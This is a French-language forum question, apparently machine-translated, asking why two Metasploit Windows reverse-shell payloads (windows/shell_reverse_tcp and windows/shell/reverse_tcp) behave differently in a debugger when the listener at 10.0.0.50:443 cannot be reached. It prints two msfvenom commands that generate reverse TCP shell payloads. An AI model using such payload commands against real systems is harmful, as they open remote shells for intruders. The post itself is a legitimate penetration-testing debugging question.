Différence entre "Windows / Shell_reverse_tcp" et "windows / Shell / reverse_tcp" Comportement de sortie
Les 2 charges utiles Metasploit ci-dessus sont utilisées pour créer un Shell inversé d'un système à un autre. La différence entre eux est clairement expliquée ici https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work
Cependant, j'essaie de comprendre comment les deux charges utiles agiront si le système auquel elles tentent de se connecter n'est pas accessible.
par exemple:
msfvenom -p windows/Shell_reverse_tcp LHOST=10.0.0.50 LPORT=443
et
msfvenom -p windows/Shell/reverse_tcp LHOST=10.0.0.50 LPORT=443
va essayer de se connecter à "10.0.0.50". La question est de savoir comment chaque charge utile va agir si "10.0.0.50" n'écoute pas sur le port "443"?
Les deux charges utiles utilisent EXITFUNC process, cependant, lorsque je les exécute dans un débogueur et place un point d'arrêt à la dernière instruction du shellcode, j'obtiens des résultats différents.
Je vois que les deux utilisent "mswsock.dll" pour se connecter au système distant, une fois le délai expiré (5 secondes par défaut):
Shell_reverse_tcpaffichera "processus terminé" dans le débogueur et [~ # ~] eip [~ # ~] pointe versntdll.KiFastSystemCallRet. Le point d'arrêt ne sera jamais atteint- d'autre part
Shell/reverse_tcpatteindra le point d'arrêt à la fin du shellcode
Remarques:
- J'ai confirmé que les deux charges utiles fonctionnent correctement en se connectant avec succès au système distant si son écoute sur le port préconfiguré.
Shell_reverse_tcpatteint le point d'arrêt uniquement s'il a pu se connecter au système distant pour la première fois. Après avoir quitté le shell sur le système distant en utilisantexità l'intérieur de CMD, le point d'arrêt sera atteint.
Une idée pourquoi on atteint le point d'arrêt et on ne le fait pas si l'auditeur distant n'est pas accessible?
Merci d'avance.
Cela s'avère être un bug avec le shellcode généré par msfvenom